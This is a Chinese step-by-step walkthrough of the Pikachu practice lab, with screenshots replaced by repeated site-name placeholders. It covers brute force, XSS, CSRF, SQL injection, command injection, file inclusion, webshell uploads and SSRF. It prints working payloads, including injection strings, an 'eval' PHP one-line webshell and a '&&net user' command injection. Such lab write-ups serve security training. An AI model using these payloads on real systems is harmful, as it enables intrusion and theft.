暴力破解

基于表单的暴力破解

1.拦截包发送到intruder 设置playload

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 判断长度得到账号密码

pikachu通关教程~~~~-编程知识网

 登录成功

pikachu通关教程~~~~-编程知识网

2.验证码绕过(on sever)

输入正确验证码之后 在BURP上发送给intruder配置payload

 pikachu通关教程~~~~-编程知识网

 得到密码

pikachu通关教程~~~~-编程知识网

3.基于client端的验证码绕过(on client)

输入正确验证码 用burp拦截

pikachu通关教程~~~~-编程知识网

 放包 得到响应报文 编辑 把false改成true

pikachu通关教程~~~~-编程知识网

 得到的新的响应报文再放包

pikachu通关教程~~~~-编程知识网

 现在随便输入账号密码和验证码

pikachu通关教程~~~~-编程知识网

 用BURP拦截后 在设置payload暴力破解

pikachu通关教程~~~~-编程知识网

4.基于token

获取回复 得到token值 并且复制

选择设置password和token两个payload 选择音叉攻击方式

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 把上边复制token放到下边 

pikachu通关教程~~~~-编程知识网

 得到密码

pikachu通关教程~~~~-编程知识网

XSS

1.反射型xss(get)

(1)直接抓包写script脚本就能执行

pikachu通关教程~~~~-编程知识网

 (2)添加script脚本 然后放包 成功弹窗

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

2.反射型xss(post)

(1)先进行爆破获取账户密码

(2)得到正确密码后登录,然后直接在输入页面写入代码执行成功

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

3.存储型xss

直接写代码执行成功

 pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

4.DOM型xss

(1)输入一个1 查看他的源代码 鼠标右键查看元素

pikachu通关教程~~~~-编程知识网

(2)他说让试试 ' οnclick=alert('123')> 我们就来输入看看

输入后点击click me 然后再点击下边的你是谁得到弹窗

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

5.DOM型xss-x

和上一题的区别在于,这里的值是从 URL 中获取到的,就像反射型的 XSS 一样

(1)输入1 查看他的源代码

pikachu通关教程~~~~-编程知识网

 (2)根据提示来试试 ' οnclick=alert('456')>

pikachu通关教程~~~~-编程知识网

 (3)再点击 得到弹窗

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

6.xss之盲打

(1)直接在两个页面输入脚本 然后点击提交

pikachu通关教程~~~~-编程知识网

 (2)点击右上角提示 得到一个后台登陆的路径

pikachu通关教程~~~~-编程知识网

 (3)把xss之盲打的路径给修改一下 修改成下边的那张图

pikachu通关教程~~~~-编程知识网

 (4)点击访问 然后登陆进去就得到了弹窗

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

7.xss之过滤

(1)过滤掉了script

利用大小写绕过

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

 (2)也可以利用插入图片的方法进行注入

<img src=1 οnerrοr=alert('456')>

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

8.xss之htmlspecialchars

(1)输入 ' οnclick='alert("123")

pikachu通关教程~~~~-编程知识网

 (2)点击它得到弹窗

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

 第二种 用反斜杠

反斜杠会跟着里边的参数一块显示出来 单引号就不会显示

pikachu通关教程~~~~-编程知识网

9.xss之href输出

(1)写入代码

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

pikachu通关教程~~~~-编程知识网

10.xss之js输出

(1)把之前的scroipt给他截断 后边写入自己的script脚本

</script><script>alert('123')</script> 点击submit就弹出来了

pikachu通关教程~~~~-编程知识网

CSRF

1.csrf(get)

(1)根据提示登陆后 点击修改信息

pikachu通关教程~~~~-编程知识网

 (2)点击提交然后抓包

pikachu通关教程~~~~-编程知识网

 (3)把这个URL复制下来 去这个路径写一个t.html脚本

pikachu通关教程~~~~-编程知识网

 (4)src后边写上2008的IP和pikachu的端口号 后边个刚刚复制的路径,然后把手机号给改成77777

pikachu通关教程~~~~-编程知识网

 (5)把刚刚拦截的包给放掉 打开另一个窗口访问链接 http://172.16.12.33/t.html

pikachu通关教程~~~~-编程知识网

 (6)退出 然后重新登陆 手机号就被改了

pikachu通关教程~~~~-编程知识网

2.CSRF(post)

(1)拦截获取URL

pikachu通关教程~~~~-编程知识网

(2)去2008写一个a.html文件 里边的URL换成刚刚获取到的

sex是性别 phonenum是手机号 add是住址 email是邮箱 value后边是修改的内容

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

(3)放掉刚刚拦截的包 去访问 http://172.16.12.33/a.html

然后重新登陆 发现已经修改

pikachu通关教程~~~~-编程知识网

pikachu之sql注入

以下的database()都可以替换为 user() 或者 version()

database是获得数据库名称 user是账户名称 version是版本号

1.数字型注入(post)

(1)查询一 去burp拦截修改

pikachu通关教程~~~~-编程知识网

 (2)修改为 id=1 and 1=2 union select 1,database() 然后点击放包

pikachu通关教程~~~~-编程知识网

 (3)成功得到数据库的名字

pikachu通关教程~~~~-编程知识网

2.字符型注入(get)

(1)输入一 点击查询,产看执行的内容

pikachu通关教程~~~~-编程知识网

 (2)尝试在name=1后边添加命令 然后点击执行 得到数据库名称

pikachu通关教程~~~~-编程知识网

3.搜索型注入

(1)输入ko查看执行的内容 发现和上边的get相似

pikachu通关教程~~~~-编程知识网

(2)直接添加 ' and 1=2union select 1,2,database()%23

执行得到数据库名称

pikachu通关教程~~~~-编程知识网

4.xx型注入

(1)输入1 点击查询 查看执行的内容

pikachu通关教程~~~~-编程知识网

(2)修改链接 ') and 1=2 union select 1,database()%23

然后执行 得到数据库名称

pikachu通关教程~~~~-编程知识网

5."insert/update"注入

(1)注册一个账户为1 密码为1的账号来登录进去

(2)在修改界面直接写入脚本 3' and updatexml(1, concat(0x7e,database()), 0)or '1

点击submit 就得到数据库名称

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

6.“dalete”注入

(1)输入1

pikachu通关教程~~~~-编程知识网

 (2)删除它 去拦截 这个62并不是我们输入的 应该是删除的编号

pikachu通关教程~~~~-编程知识网

 (3)在62后边添加脚本 /**/or/**/updatexml(1,concat(0x7e,database()),0)

/**/ 代表空格

pikachu通关教程~~~~-编程知识网

 (4)放包后成功执行

pikachu通关教程~~~~-编程知识网

7.“http header”注入

(1)根据提示登录

pikachu通关教程~~~~-编程知识网

 (2)点击退出 拦截它

pikachu通关教程~~~~-编程知识网

 (3)修改User_Agent 改成 1' and updatexml(1,concat(0x7e,database()),0) or '1

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 (4)放包 得到数据库名称

\pikachu通关教程~~~~-编程知识网

8.盲注(base on boolian)(可以利用sqlmap来注入)

输入 kobe' and length(database())>0# 猜测数据库名字的长度

下边的用户表单就得一个一个的猜了

pikachu通关教程~~~~-编程知识网

9.盲注(base on time)(也可以利用sqlmap来注入)

(1)构造语句 sleep5 如果正确 则刷新时间为5秒 错误则立即刷新

kobe' and if(length(database())=7,sleep(5),1)#

10.宽字节注入

(1)输入1 拦截他

pikachu通关教程~~~~-编程知识网

(2)修改name后边的内容

添加 %df' or length(database())=7#

pikachu通关教程~~~~-编程知识网

 (3)放包 得到内容

pikachu通关教程~~~~-编程知识网

PIkachu之RCE

这个和DVWA的命令注入一样 所以下边可以尝试DVWA里边的方法

1.exec“ping”

(1)直接ping主机试一下

pikachu通关教程~~~~-编程知识网

(2)往后边注入命令

127.0.0.1 &&net user

pikachu通关教程~~~~-编程知识网

2.exec“evel”

(1)直接输入 phpinfo();

phpinfo是php自带函数,显示的是php服务器环境的配置信息。可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一!

pikachu通关教程~~~~-编程知识网

 (2)得到信息

pikachu通关教程~~~~-编程知识网

pikachu之file inclusion (文件包含漏洞)

61.file inclusion(local) 本地文件包含

(1)先随便选择一个内容 点击提交,查看它执行的内容 发现有一个filename=file1.php

所以我们把file1.php给换成别的试一下

pikachu通关教程~~~~-编程知识网

(2)去2008里边这个路径下写一个1.txt文本

C:\xampp\htdocs\pikachu\vul\fileinclude\include

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 (3)修改filename后边的内容 改成刚刚在2008创建的1.txt 然后执行得到内容

pikachu通关教程~~~~-编程知识网

2.file inclusion(remote) 远程文件包含 把kail作为远程主机

(1)还是先随便选择一个提交 看看和上边的有什么不同 发现多了一个include

pikachu通关教程~~~~-编程知识网

 (2)去kail /var/www/html 下写一个配置文件 取名 phpinfo.txt

pikachu通关教程~~~~-编程知识网

 (3)编辑里边的内容

pikachu通关教程~~~~-编程知识网

 (4)打开apache 查看他的运行状态

pikachu通关教程~~~~-编程知识网

 (5)把filename后边的内容修改成kail的IP后边直接跟着文件名得到内容

pikachu通关教程~~~~-编程知识网

PIkachu之UNsafe filedownload和fileupload

1. unsafe filedownload(不安全的文件下载)

(1)用burp抓包 看他的下载连接

pikachu通关教程~~~~-编程知识网

 (2)修改成 ../down_nba.php 然后放包

pikachu通关教程~~~~-编程知识网

 (3)发现可以下载

pikachu通关教程~~~~-编程知识网

 (4)下载完通过vscode打开 确实是源文件

pikachu通关教程~~~~-编程知识网

2. unsafe fileupload(不安全的文件上传)(或者利用dvwa里边的文件上传做法也一样)

client check

(1)在hacker7下的D盘下写一个phpinfo.php脚本

pikachu通关教程~~~~-编程知识网

 (2)发现直接上传phpinfo.php报错

pikachu通关教程~~~~-编程知识网

 (3)右键查看元素 把前端限制给删除掉

pikachu通关教程~~~~-编程知识网

 (4)然后重新上传phpinfo.php发现成功

pikachu通关教程~~~~-编程知识网

 (5)根据提示的路径去查看

pikachu通关教程~~~~-编程知识网

第二种方法 用一句话木马

(1)上传一个图片

pikachu通关教程~~~~-编程知识网

 (2)利用burp抓包修改文件名 改成php结尾的 最后添加一句话木马

pikachu通关教程~~~~-编程知识网

(3)放包 文件上传成功得到一个新路径 和当前的路径组合得到一个新的路径

http://172.16.12.131:83/vul/unsafeupload/uploads/1.php

pikachu通关教程~~~~-编程知识网

 (5)去蚁剑连接

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

MIME type

(1)上传nphpinfo.php 拦截它

pikachu通关教程~~~~-编程知识网

 (2)修改类型 改成image/jpeg

pikachu通关教程~~~~-编程知识网

 (3)放包 上传成功 根据路径提示去查看

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

第二种利用一句话木马

(1)上传图片 burp拦截

pikachu通关教程~~~~-编程知识网

 (2)修改文件名称改成php结尾的 最后添加一句话木马<?php @eval($_POST['Pa9865321']);?>

pikachu通关教程~~~~-编程知识网

(3)放包上传成功 得到一个路径

然后把这两个路径组合在一起 去蚁剑连接

http://172.16.12.131:83/vul/unsafeupload/uploads/1.php

pikachu通关教程~~~~-编程知识网

 (4)连接成功

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

getimagesize

(1)只能上传木马图片

先把图片和shell.php脚本放在D盘下 shell是冰蟹里边的脚本

pikachu通关教程~~~~-编程知识网

 (2)去sqlmap合成木马图片

pikachu通关教程~~~~-编程知识网

 (3)在把这个木马图片上传 上传成功

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

(4)然后用RCE改成php结尾的

这个路径加文件名称 127.0.0.1 &&rename

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 (5)修改成功

pikachu通关教程~~~~-编程知识网

水平越权和垂直越权

水平越权

(1)右上角提示有账户密码

pikachu通关教程~~~~-编程知识网

 (2)用其中一个账号登陆上去 使用burp拦截 改成另一个账号 放包就查到修改后那个账户的信息了

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

垂直越权

(1)根据右边提示

先用管理员账号登录 去添加用户界面 获取到url复制下来

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

(2)新打开一个界面 用普通用户账号登录进去

/vul/overpermission/op2/op2_admin_edit.php

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

 (3)把url替换掉 点击执行

pikachu通关教程~~~~-编程知识网

(4)就会发现当前用普通账号登录后也可以添加用户了

点击创建

pikachu通关教程~~~~-编程知识网

 (5)重新用admin登录上去 就会发现有刚刚用普通账户创建的账号了

pikachu通关教程~~~~-编程知识网

目录遍历

(1)点击第一个

pikachu通关教程~~~~-编程知识网

 (2)修改url 在后边不停的加 ../ 就会访问到其他目录

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

敏感信息泄露

(1)直接查看页面源代码

pikachu通关教程~~~~-编程知识网

(2)发现一个测试账号

用它登录登陆成功

pikachu通关教程~~~~-编程知识网

 pikachu通关教程~~~~-编程知识网

php反序列化

序列化通俗点说就是把一个对象转变成可以传输的字符串

反序列化就是把字符串换成对象

(1)利用 O:1:"S":1:{s:4:"test";s:7:"pikachu";} 爆出数据库的名字

pikachu通关教程~~~~-编程知识网

(2)或者利用payload

O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}来写入代码

pikachu通关教程~~~~-编程知识网

xxe漏洞

(1)直接提交一个payload

<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "xxe"> ]> <name>&hacker;</name>

pikachu通关教程~~~~-编程知识网

URL重定向

(1)第四句话发现了有url=1

pikachu通关教程~~~~-编程知识网

 (2)修改这里改成别的ip http://172.16.12.131:84访问成功

pikachu通关教程~~~~-编程知识网

SSRF

1.ssrf (curl)

(1)点击得到一个路径

pikachu通关教程~~~~-编程知识网

 (2)把url后边改成别的网站 http://172.16.12.131:84 成功访问

pikachu通关教程~~~~-编程知识网